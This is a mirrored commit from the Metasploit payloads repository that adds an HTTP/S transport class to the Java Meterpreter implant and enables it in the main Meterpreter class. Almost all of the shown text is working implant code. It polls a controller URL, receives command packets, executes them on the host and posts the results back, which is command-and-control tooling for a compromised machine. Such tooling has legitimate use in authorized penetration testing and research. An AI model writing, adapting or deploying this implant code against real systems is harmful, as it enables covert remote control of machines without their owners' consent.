1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Add support for HTTP/S transports

Still need to add certificate hash validation, proxy support, and
modifiable user agent.
This commit is contained in:
OJ 2015-06-24 21:25:23 +10:00
parent f03ad14292
commit fbbff1e7b4
3 changed files with 215 additions and 3 deletions

View File

@ -0,0 +1,205 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import com.metasploit.meterpreter.command.Command;
public class HttpTransport extends Transport {
private static final int UA_LEN = 256;
private static final int PROXY_HOST_LEN = 128;
private static final int PROXY_USER_LEN = 64;
private static final int PROXY_PASS_LEN = 64;
private static final int CERT_HASH_LEN = 20;
private static final String TRUST_MANAGER = "com.metasploit.meterpreter.PayloadTrustManager";
private static final byte[] RECV = new byte[]{'R', 'E', 'C', 'V'};
private URL targetUrl;
private String userAgent;
private String proxy;
private String proxyUser;
private String proxyPass;
private byte[] certHash;
public HttpTransport(String url) throws MalformedURLException {
super(url);
this.targetUrl = new URL(url);
}
public void bind(DataInputStream in, OutputStream rawOut) {
// http, we don't bind to anything as we're stateless
}
public int parseConfig(byte[] configuration, int offset) {
offset = this.parseTimeouts(configuration, offset);
this.proxy = Meterpreter.readString(configuration, offset, PROXY_HOST_LEN);
offset += PROXY_HOST_LEN;
System.out.println("msf : Proxy: " + this.proxy);
this.proxyUser = Meterpreter.readString(configuration, offset, PROXY_USER_LEN);
offset += PROXY_USER_LEN;
System.out.println("msf : Proxy User: " + this.proxyUser);
this.proxyPass = Meterpreter.readString(configuration, offset, PROXY_PASS_LEN);
offset += PROXY_PASS_LEN;
System.out.println("msf : Proxy Pass: " + this.proxyPass);
this.userAgent = Meterpreter.readString(configuration, offset, UA_LEN);
offset += UA_LEN;
System.out.println("msf : User agent: " + this.userAgent);
this.certHash = Meterpreter.readBytes(configuration, offset, CERT_HASH_LEN);
offset += CERT_HASH_LEN;
return offset;
}
public void disconnect() {
}
protected boolean tryConnect(Meterpreter met) throws IOException {
// given that we don't have a persistent connection, we just assume
// that we "can" connect, and handle the failures when dealing with
// the packet handling
return true;
}
public TLVPacket readPacket() throws IOException {
System.out.println("msf : packet read");
URLConnection conn = this.createConnection();
if (conn == null) {
return null;
}
OutputStream outputStream = conn.getOutputStream();
outputStream.write(RECV);
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
int len = inputStream.readInt();
int type = inputStream.readInt();
TLVPacket request = new TLVPacket(inputStream, len - 8);
inputStream.close();
return request;
}
catch (EOFException ex) {
}
return null;
}
public void writePacket(TLVPacket packet, int type) throws IOException {
System.out.println("msf : packet write");
URLConnection conn = this.createConnection();
if (conn == null) {
return;
}
byte[] data = packet.toByteArray();
DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream());
outputStream.writeInt(data.length + 8);
outputStream.writeInt(type);
outputStream.write(data);
outputStream.flush();
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
int len = inputStream.readInt();
type = inputStream.readInt();
// not really worried about the response, we just want to read a packet out of it
// and move on
new TLVPacket(inputStream, len - 8);
inputStream.close();
}
catch (EOFException ex) {
// log error?
}
}
public boolean dispatch(Meterpreter met, CommandManager commandManager) {
System.out.println("msf : In the dispatch loop");
long lastPacket = System.currentTimeMillis();
long ecount = 0;
while (!met.hasSessionExpired() &&
System.currentTimeMillis() < lastPacket + this.commTimeout) {
try {
System.out.println("msf : Waiting for packet");
TLVPacket request = this.readPacket();
if (request != null) {
ecount = 0;
System.out.println("msf : Packet received");
// got a packet, update the timestamp
lastPacket = System.currentTimeMillis();
TLVPacket response = request.createResponse();
int result = commandManager.executeCommand(met, request, response);
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
if (result == Command.EXIT_DISPATCH) {
return true;
}
} else {
long delay = ecount++ * 10;
if (ecount >= 10) {
delay *= 10;
}
met.sleep(Math.min(10000, delay));
}
} catch (Exception ex) {
// any other type of exception isn't good.
System.out.println("msf : Some other exception: " + ex.getClass().getName());
break;
}
}
// if we get here we assume things aren't good.
return false;
}
private URLConnection createConnection() {
URLConnection conn = null;
try {
conn = this.targetUrl.openConnection();
if (this.targetUrl.getProtocol().equals("https")) {
try {
Class.forName(TRUST_MANAGER).getMethod("useFor", new Class[]{URLConnection.class})
.invoke(null, new Object[]{conn});
}
catch (Exception ex) {
// perhaps log?
}
conn.setDoOutput(true);
}
}
catch (IOException ex) {
if (conn != null) {
conn = null;
}
}
return conn;
}
}

View File

@ -8,9 +8,11 @@ import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
@ -44,7 +46,7 @@ public class Meterpreter {
private long sessionExpiry;
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) {
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException {
System.out.println("msf : Parsing configuration");
// socket handle is 4 bytes, followed by exit func, both of
// which we ignore.
@ -72,7 +74,7 @@ public class Meterpreter {
if (url.startsWith("tcp")) {
t = new TcpTransport(url);
} else {
//t = new HttpTransport(url);
t = new HttpTransport(url);
}
csr = t.parseConfig(configuration, csr);
@ -175,6 +177,7 @@ public class Meterpreter {
public void startExecuting() throws Exception {
System.out.println("msf : kicking off execution");
while (!this.hasSessionExpired() && this.transports.current() != null) {
System.out.println("msf : initialising transport");
if (!this.transports.current().connect(this)) {
System.out.println("msf : connection failed, going to next transport");
continue;

View File

@ -121,6 +121,10 @@ public class TcpTransport extends Transport {
System.out.println("msf : Waiting for packet");
TLVPacket request = this.readPacket();
if (request == null) {
continue;
}
System.out.println("msf : Packet received");
// got a packet, update the timestamp